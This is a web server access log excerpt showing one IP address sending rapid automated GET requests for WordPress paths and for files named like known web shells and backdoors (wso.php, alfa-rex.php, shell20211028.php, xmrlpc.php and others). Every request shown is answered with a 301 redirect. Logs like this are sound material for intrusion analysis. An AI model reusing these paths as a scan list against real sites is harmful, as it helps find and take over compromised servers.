[13/Apr/2025:05:52:14 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:14 -0400] "GET /wp-content/uploads/themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:15 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:15 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:15 -0400] "GET /wp-admin/uploads/setup HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:16 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:16 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:16 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:17 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:17 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:18 -0400] "GET /wp-content/uploads/config HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:18 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:18 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:19 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:19 -0400] "GET /firewall.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:19 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:20 -0400] "GET /gallery_view.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:20 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:20 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:20 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:21 -0400] "GET /wp/menu.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:22 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:22 -0400] "GET /rc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:22 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:23 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:23 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:23 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:24 -0400] "GET /wp-content/themes/jhie8k08/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:24 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:24 -0400] "GET /restricted.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:25 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:25 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:25 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:26 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:26 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:26 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:27 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:27 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:27 -0400] "GET /wp-content/themes/phocsqfz/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:28 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:28 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:28 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:29 -0400] "GET /wp-content/uploads/2014/06/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:29 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:29 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:29 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:30 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:30 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:31 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:31 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:32 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:32 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:32 -0400] "GET /wp-content/uploads/2023/05/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:33 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:33 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:33 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:33 -0400] "GET /user.php3 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:34 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:34 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:34 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:35 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:35 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:35 -0400] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:35 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:36 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:36 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:36 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:37 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:37 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:38 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:38 -0400] "GET /wp-content/plugins/td-cloud-library/includes/dir/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:38 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:39 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:39 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:39 -0400] "GET /wp-content/plugins/setup HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:40 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:40 -0400] "GET /wp-admin/ccx/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:41 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:41 -0400] "GET /wp-content/plugins/pahidtd/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:42 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:42 -0400] "GET /wp-content/plugins/kfhfxvy/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:43 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:43 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:43 -0400] "GET /wordpress/wp-content/themes/as/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:43 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:44 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:44 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:45 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:45 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:45 -0400] "GET /wp-includes/mah.php999 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:46 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:46 -0400] "GET /webhook.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:47 -0400] "GET /wp-content/uploads/BbUMY/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:48 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:48 -0400] "GET /wp-content/plugins/backup-backup/includes/1155949024...php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:49 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:49 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:50 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:50 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:51 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:51 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:51 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:52 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:53 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:53 -0400] "GET /wp-content/plugins/upme/ajax/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:54 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:54 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:55 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:55 -0400] "GET /wp-content/uploads/revslider/templates/creativefrontpage/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:56 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:56 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:56 -0400] "GET /plugins/three-column-screen-layout/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:57 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:57 -0400] "GET /wp-includes/Text/Diff/Engine/aaa.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:58 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:58 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:58 -0400] "GET /security.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:59 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:59 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:59 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:00 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:00 -0400] "GET /wp-content/themes/fswefy0o/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:01 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:01 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:02 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:03 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:04 -0400] "GET /gallery_upload.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:07 -0400] "GET /wp-includes/Requests/about.php/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:08 -0400] "GET /wp-content/plugins/trfree/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:09 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:09 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:10 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:11 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:12 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:12 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:14 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:15 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:17 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:18 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:19 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:20 -0400] "GET /wp-content/uploads/--wp-lgj.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:20 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:21 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:21 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:21 -0400] "GET /config_save.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:22 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:22 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:23 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:23 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:23 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:24 -0400] "GET /wp-includes/js/tinymce/langs/atomlib.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:24 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:24 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:25 -0400] "GET /wp-includes/pomo/user-new.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:25 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:25 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:25 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:26 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:26 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:26 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:27 -0400] "GET /upload2/10-27-24_8:26_1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:27 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:28 -0400] "GET /optimizer.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:28 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:28 -0400] "GET /wp-content/plugins/wso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:29 -0400] "GET /introduction.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:29 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:30 -0400] "GET /wp-content/plugins/nloisib/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:30 -0400] "GET /wp-includes/konten/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:30 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:31 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:31 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:32 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:32 -0400] "GET /cart.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:33 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:33 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:34 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:34 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:34 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:35 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:35 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:35 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:36 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:36 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:36 -0400] "GET /wp-includes/js/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:36 -0400] "GET /role.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:37 -0400] "GET /wp-content/plugins/vbcxdsf/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:37 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:37 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:38 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:38 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:39 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:39 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:39 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:40 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:40 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:40 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:41 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:41 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:41 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:42 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:42 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:42 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:42 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:43 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:43 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:43 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:44 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:44 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:44 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:45 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:45 -0400] "GET /wp-content/plugins/ojyiyys/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:45 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:46 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:46 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:47 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:48 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:48 -0400] "GET /resize.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:48 -0400] "GET /wp-includes/css/loco.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:49 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:49 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:50 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:51 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:51 -0400] "GET /class-smtp.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:51 -0400] "GET /class-snoopy.php HTTP/1.1" 301 